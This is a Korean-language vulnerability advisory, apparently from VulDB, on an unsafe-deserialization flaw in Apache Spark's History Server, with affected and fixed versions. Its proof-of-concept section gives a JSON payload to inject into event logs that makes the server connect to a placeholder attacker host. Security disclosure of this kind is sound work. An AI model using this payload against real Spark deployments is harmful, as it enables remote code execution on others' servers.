CVE-2025-54920 in Spark정보

요약

\~에 의해 VulDB • 2026. 05. 27.

이 이슈는 Apache Spark 3.5.7 미만 및 4.0.1 미만 버전에 영향을 미칩니다. 사용자는 이슈가 수정된 버전 3.5.7 또는 4.0.1 이상으로 업그레이드하는 것이 권장됩니다.

요약

Apache Spark 3.5.4 및 이전 버전에는 Spark History Web UI에서 이벤트 로그 데이터에 대한 과도하게 허용적인 Jackson 역직렬화(deserialization)로 인해 코드 실행 취약점이 존재합니다. 이로 인해 Spark 이벤트 로그 디렉토리에 접근할 수 있는 공격자는 임의의 클래스 역직렬화를 트리거하는 악성 JSON 페이로드를 주입하여 Spark History Server가 실행 중인 호스트에서 명령어를 실행할 수 있습니다.

상세 정보

이 취약점은 Spark History Server가 SparkListenerEvent 객체에 대해 @JsonTypeInfo.Id.CLASS를 사용하여 Jackson 다형성 역직렬화를 수행하기 때문에 발생합니다. 이를 통해 공격자는 이벤트 JSON에서 임의의 클래스 이름을 지정할 수 있습니다. 이러한 동작은 org.apache.hive.jdbc.HiveConnection과 같은 의도하지 않은 클래스의 인스턴스화를 허용하며, 역직렬화 과정에서 네트워크 호출이나 기타 악의적인 작업을 수행할 수 있습니다.

공격자는 Spark History Server가 시작 시 또는 이벤트 로그를 로드할 때 역직렬화하는 Spark 이벤트 로그 파일에 조작된 JSON 콘텐츠를 주입하여 이 취약점을 악용할 수 있습니다. 예를 들어, 공격자는 Spark History Server가 원격 공격자 제어 서버로 JDBC 연결을 열도록 강제하여 원격 명령어 주입 능력을 입증할 수 있습니다.

Proof of Concept:

1. 이벤트 로깅을 활성화하고 쓰기 가능한 디렉토리(spark-logs)에 기록하도록 Spark를 실행합니다.

2. 이벤트 로그 파일의 시작 부분에 다음 JSON을 주입합니다:

{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>" } }

3. 수정된 디렉토리를 로그로 가리키도록 Spark History Server를 시작합니다.

4. Spark History Server가 공격자의 서버로 JDBC 연결을 시작하여 주입이 확인됩니다.

영향

Spark 이벤트 로그에 대한 쓰기 권한이 있는 공격자는 History Server가 실행 중인 서버에서 임의의 코드를 실행할 수 있으며, 이는 전체 시스템의 침해로 이어질 수 있습니다.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

출처

Do you know our Splunk app?

Download it now for free!